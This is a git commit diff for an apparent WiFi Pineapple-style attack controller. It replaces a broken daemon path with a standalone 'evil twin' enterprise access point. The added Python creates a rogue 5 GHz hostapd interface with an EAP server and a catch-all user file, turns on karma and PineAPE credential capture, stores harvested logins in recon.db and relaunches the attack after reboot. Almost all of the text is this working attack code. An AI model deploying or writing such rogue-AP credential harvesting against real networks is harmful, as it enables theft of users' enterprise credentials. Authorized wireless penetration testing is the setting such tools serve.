feat: standalone PineAPE enterprise engine on phy1
The stock daemon's enterprise config generation is broken on this firmware (it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1: iw-created iface, EAP config with catch-all user file, pineape+auth capture enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys a live attack after a Mark VIII restart.
This commit is contained in:
@@ -2556,7 +2556,6 @@ def h_pineap_wifi_get_ap(ctx):
|
||||
wpa_cfg = _uci_wifi_iface('wlan0wpa')
|
||||
r1_open_cfg = _uci_wifi_iface('wlan1open')
|
||||
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
|
||||
ent_cfg = _uci_wifi_iface('wlan0ent')
|
||||
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
||||
host = data if status == 200 and isinstance(data, dict) else {}
|
||||
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
|
||||
@@ -2568,20 +2567,19 @@ def h_pineap_wifi_get_ap(ctx):
|
||||
_last_reconcile = time.time()
|
||||
device_run(['wifi', 'reload'])
|
||||
break
|
||||
ent = _ap_iface_dict(ent_cfg, radio0_cfg)
|
||||
return 200, {
|
||||
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
|
||||
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
|
||||
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
|
||||
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
|
||||
'enterprise': {
|
||||
'enabled': ent.get('enabled', False),
|
||||
'ssid': ent.get('ssid', ''),
|
||||
'enctype': ent.get('enctype') or 'wpa2',
|
||||
'passphrase': ent.get('passphrase', ''),
|
||||
'hidden': ent.get('hidden', False),
|
||||
'channel': ent.get('channel'),
|
||||
'live': _iface_live('wlan0ent'),
|
||||
'enabled': _ent_summary()['enabled'],
|
||||
'ssid': _ent_summary()['ssid'],
|
||||
'enctype': _ent_summary()['enctype'],
|
||||
'passphrase': '',
|
||||
'hidden': False,
|
||||
'channel': _ent_summary()['channel'],
|
||||
'live': _ent_summary()['live'],
|
||||
},
|
||||
'pool': {'disabled': None, 'collecting': bool(pinecfg.get('autossidpool'))},
|
||||
'radios': {
|
||||
@@ -2789,6 +2787,16 @@ ATTACK_IFACES = {
|
||||
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
|
||||
}
|
||||
|
||||
# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise
|
||||
# config generation is broken on this firmware, so Mark VIII runs its own
|
||||
# karma+PineAPE hostapd instance for the enterprise attack.
|
||||
ENT_IFACE = 'wlan1ent'
|
||||
ENT_CTRL_DIR = '/var/run/hostapd-mk8'
|
||||
ENT_CONF = '/root/loot/enterprise.conf'
|
||||
ENT_PIDFILE = '/var/run/hostapd-mk8.pid'
|
||||
ENT_EAP_USERS = '/root/loot/eap_users'
|
||||
ENT_STATE = '/root/loot/mk8_enterprise.json'
|
||||
|
||||
|
||||
def _band_of_channel(channel):
|
||||
band = channel_band(channel)
|
||||
@@ -2896,11 +2904,50 @@ def _deploy_wpa_open(kind, fields):
|
||||
|
||||
|
||||
def _disable_enterprise_ap():
|
||||
cfg = _uci_wifi_iface('wlan0ent')
|
||||
if cfg:
|
||||
device_run(['uci', 'delete', 'wireless.wlan0ent'])
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['wifi', 'reload'])
|
||||
"""Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1)."""
|
||||
try:
|
||||
with open(ENT_PIDFILE) as f:
|
||||
pid = int(f.read().strip())
|
||||
if os.path.exists('/proc/%d' % pid):
|
||||
device_run(['kill', str(pid)], timeout=10)
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10)
|
||||
for p in (ENT_PIDFILE, ENT_STATE):
|
||||
try:
|
||||
os.unlink(p)
|
||||
except OSError:
|
||||
pass
|
||||
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
if rc == 0 and out.strip() == ENT_IFACE:
|
||||
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
device_run(['/etc/init.d/pineapd', 'reload'])
|
||||
if not _radio1_ap_active():
|
||||
_resume_hop()
|
||||
|
||||
|
||||
def _ent_running():
|
||||
try:
|
||||
with open(ENT_PIDFILE) as f:
|
||||
pid = int(f.read().strip())
|
||||
return os.path.exists('/proc/%d' % pid)
|
||||
except (OSError, ValueError):
|
||||
return False
|
||||
|
||||
|
||||
def _ent_ctrl(cmd, timeout=10):
|
||||
rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd],
|
||||
timeout=timeout)
|
||||
return (rc, out or '')
|
||||
|
||||
|
||||
def _ent_state_loaded():
|
||||
try:
|
||||
with open(ENT_STATE) as f:
|
||||
return json.load(f)
|
||||
except (OSError, ValueError):
|
||||
return {}
|
||||
|
||||
|
||||
def _deploy_enterprise(fields):
|
||||
@@ -2910,6 +2957,13 @@ def _deploy_enterprise(fields):
|
||||
enctype = fields.get('enctype') or 'wpa2'
|
||||
if enctype not in ('wpa2', 'wpa3'):
|
||||
raise ValueError('enterprise encryption must be wpa2 or wpa3')
|
||||
ch = fields.get('channel')
|
||||
if ch is not None:
|
||||
band = channel_band(ch)
|
||||
if band != BAND_5G:
|
||||
raise ValueError('enterprise AP runs on 5 GHz (36-177)')
|
||||
else:
|
||||
ch = 36
|
||||
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
|
||||
for name in ('wlan0wpa', 'wlan0open'):
|
||||
cfg = _uci_wifi_iface(name)
|
||||
@@ -2917,42 +2971,105 @@ def _deploy_enterprise(fields):
|
||||
_set_uci('%s.disabled' % name, '1')
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['wifi', 'reload'])
|
||||
_set_uci('wlan0ent', 'wifi-iface')
|
||||
_set_uci('wlan0ent.device', 'radio0')
|
||||
_set_uci('wlan0ent.ifname', 'wlan0ent')
|
||||
_set_uci('wlan0ent.mode', 'ap')
|
||||
_set_uci('wlan0ent.disabled', '0')
|
||||
_set_uci('wlan0ent.ssid', ssid)
|
||||
_set_uci('wlan0ent.hidden', '%d' % (1 if fields.get('hidden') else 0))
|
||||
_set_uci('wlan0ent.encryption', enctype)
|
||||
_set_uci('wlan0ent.key', fields.get('passphrase') or '')
|
||||
ch = fields.get('channel')
|
||||
if ch is not None:
|
||||
_set_uci('wlan0ent.channel', '%d' % int(ch))
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap',
|
||||
body={'configs': [{
|
||||
'interface': 'wlan0ent',
|
||||
'ssid': ssid,
|
||||
'enctype': enctype,
|
||||
'enabled': True,
|
||||
'hidden': bool(fields.get('hidden')),
|
||||
'key': fields.get('passphrase') or '',
|
||||
'channel': int(ch) if ch is not None else 1,
|
||||
}]}, timeout=45)
|
||||
if status != 200:
|
||||
raise RuntimeError('daemon rejected enterprise AP: %r' % (data,))
|
||||
_enable_attack_engine()
|
||||
_allow_all_ssids()
|
||||
# PineAPE credential harvesting on.
|
||||
daemon_sock_call('PUT', '/api/pineap/hostapd/set_config', {
|
||||
'pineape_disabled': False,
|
||||
'pineape_auth_pass': True,
|
||||
})
|
||||
verified = _verify_iface('wlan0ent')
|
||||
return {'kind': 'enterprise', 'ssid': ssid, 'iface': 'wlan0ent',
|
||||
'band': BAND_2G, 'channel': int(ch) if ch is not None else 1,
|
||||
'verified': verified}
|
||||
_disable_enterprise_ap()
|
||||
# The stock daemon's enterprise config generation is broken on this
|
||||
# firmware (emits eap_server_erp, which hostapd rejects), so the
|
||||
# enterprise AP runs on its own karma+PineAPE hostapd instance on phy1,
|
||||
# outside the daemon's interface set. Credentials still flow into
|
||||
# recon.db (hostap_basic / hostap_chalresp) via the pineapd socket.
|
||||
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
|
||||
ENT_IFACE, 'type', 'managed'], timeout=15)
|
||||
if rc != 0:
|
||||
raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip()))
|
||||
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
|
||||
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
|
||||
try:
|
||||
with open(ENT_EAP_USERS, 'w') as f:
|
||||
f.write('"*"\tPAP\t""\n')
|
||||
with open(ENT_CONF, 'w') as f:
|
||||
f.write(
|
||||
'interface=%s\n'
|
||||
'driver=nl80211\n'
|
||||
'ssid=%s\n'
|
||||
'hw_mode=a\n'
|
||||
'channel=%d\n'
|
||||
'country_code=US\n'
|
||||
'ieee80211d=1\n'
|
||||
'ieee80211n=1\n'
|
||||
'ht_capab=[SHORT-GI-20][SHORT-GI-40]\n'
|
||||
'beacon_int=100\n'
|
||||
'auth_algs=1\n'
|
||||
'ieee8021x=1\n'
|
||||
'eap_server=1\n'
|
||||
'eap_user_file=%s\n'
|
||||
'wpa=2\n'
|
||||
'wpa_key_mgmt=WPA-EAP\n'
|
||||
'wpa_pairwise=CCMP\n'
|
||||
'wpa_disable_eapol_key_retries=0\n'
|
||||
'ctrl_interface=%s\n' % (ENT_IFACE, ssid, int(ch), ENT_EAP_USERS, ENT_CTRL_DIR))
|
||||
except OSError as exc:
|
||||
raise RuntimeError('could not write enterprise config: %s' % exc)
|
||||
# Tell the karma build which iface is the management (enterprise) AP.
|
||||
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
_pause_hop()
|
||||
rc, out, err = device_run(['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF],
|
||||
timeout=20)
|
||||
verified = _ent_running()
|
||||
if not verified:
|
||||
_disable_enterprise_ap()
|
||||
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % (err or out)[-300:])
|
||||
deadline = time.time() + 20
|
||||
while time.time() < deadline:
|
||||
rc, out = _ent_ctrl('status')
|
||||
if 'state=ENABLED' in out:
|
||||
break
|
||||
time.sleep(2)
|
||||
verified = 'state=ENABLED' in (_ent_ctrl('status')[1] or '')
|
||||
_ent_ctrl('pineap_enable')
|
||||
_ent_ctrl('pineape_enable')
|
||||
_ent_ctrl('pineape_auth_enable')
|
||||
try:
|
||||
with open(ENT_STATE, 'w') as f:
|
||||
json.dump({'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')),
|
||||
'channel': int(ch), 'started': int(time.time())}, f)
|
||||
except OSError:
|
||||
pass
|
||||
return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE,
|
||||
'band': BAND_5G, 'channel': int(ch), 'verified': verified}
|
||||
|
||||
|
||||
def _ent_summary():
|
||||
st = _ent_state_loaded()
|
||||
running = _ent_running()
|
||||
live = False
|
||||
if running:
|
||||
rc, out = _ent_ctrl('status')
|
||||
live = 'state=ENABLED' in (out or '')
|
||||
return {
|
||||
'enabled': running,
|
||||
'live': live,
|
||||
'ssid': st.get('ssid') or '',
|
||||
'enctype': st.get('enctype') or 'wpa2',
|
||||
'band': BAND_5G,
|
||||
'channel': st.get('channel', 36),
|
||||
'iface': ENT_IFACE,
|
||||
'started': st.get('started'),
|
||||
}
|
||||
|
||||
|
||||
def _enterprise_boot_recover():
|
||||
"""Re-deploy the enterprise AP after a Mark VIII restart."""
|
||||
st = _ent_state_loaded()
|
||||
if not st.get('ssid'):
|
||||
return
|
||||
try:
|
||||
_deploy_enterprise(st)
|
||||
except RuntimeError as exc:
|
||||
try:
|
||||
os.unlink(ENT_STATE)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def h_attacks_deploy(ctx):
|
||||
@@ -3011,7 +3128,7 @@ def h_attacks_status(ctx):
|
||||
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
|
||||
},
|
||||
'enterprise': {
|
||||
'ap': _uci_ap_summary('wlan0ent', 'radio0'),
|
||||
'ap': _ent_summary(),
|
||||
'pineape': {'enabled': not bool(
|
||||
(daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {})
|
||||
.get('pineape_disabled', True))},
|
||||
@@ -3044,9 +3161,9 @@ def h_attacks_stop(ctx):
|
||||
_set_uci('%s.disabled' % name, '1')
|
||||
stopped.append(name)
|
||||
elif kind == 'enterprise':
|
||||
if _uci_wifi_iface('wlan0ent'):
|
||||
if _ent_running() or os.path.exists(ENT_STATE):
|
||||
_disable_enterprise_ap()
|
||||
stopped.append('wlan0ent')
|
||||
stopped.append(ENT_IFACE)
|
||||
else:
|
||||
return 400, {'error': 'kind must be wpa, open or enterprise'}
|
||||
if stopped:
|
||||
@@ -4421,6 +4538,7 @@ def serve():
|
||||
threading.Thread(target=live_loop, daemon=True).start()
|
||||
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
|
||||
start_health_monitor()
|
||||
_enterprise_boot_recover()
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind((HOST, PORT))
|
||||
|
||||
@@ -1523,7 +1523,7 @@ views.attacks_enterprise = (root) => {
|
||||
status.append('Attack', attackBadge(ap));
|
||||
status.append('SSID', h('span', { text: ap && ap.ssid ? ap.ssid : '—' }));
|
||||
status.append('Interface', h('span', { text: ap ? ap.iface : '—' }));
|
||||
status.append('Band', h('span', { text: '2.4 GHz' }));
|
||||
status.append('Band', h('span', { text: ap && ap.band ? ap.band + ' GHz' : '5 GHz' }));
|
||||
status.append('Channel', h('span', { text: ap && ap.channel != null ? ap.channel : '—' }));
|
||||
status.append('Credentials', h('span', { text: String(ent.creds || 0) }));
|
||||
pApeBody.innerHTML = '';
|
||||
|
||||
Reference in New Issue
Block a user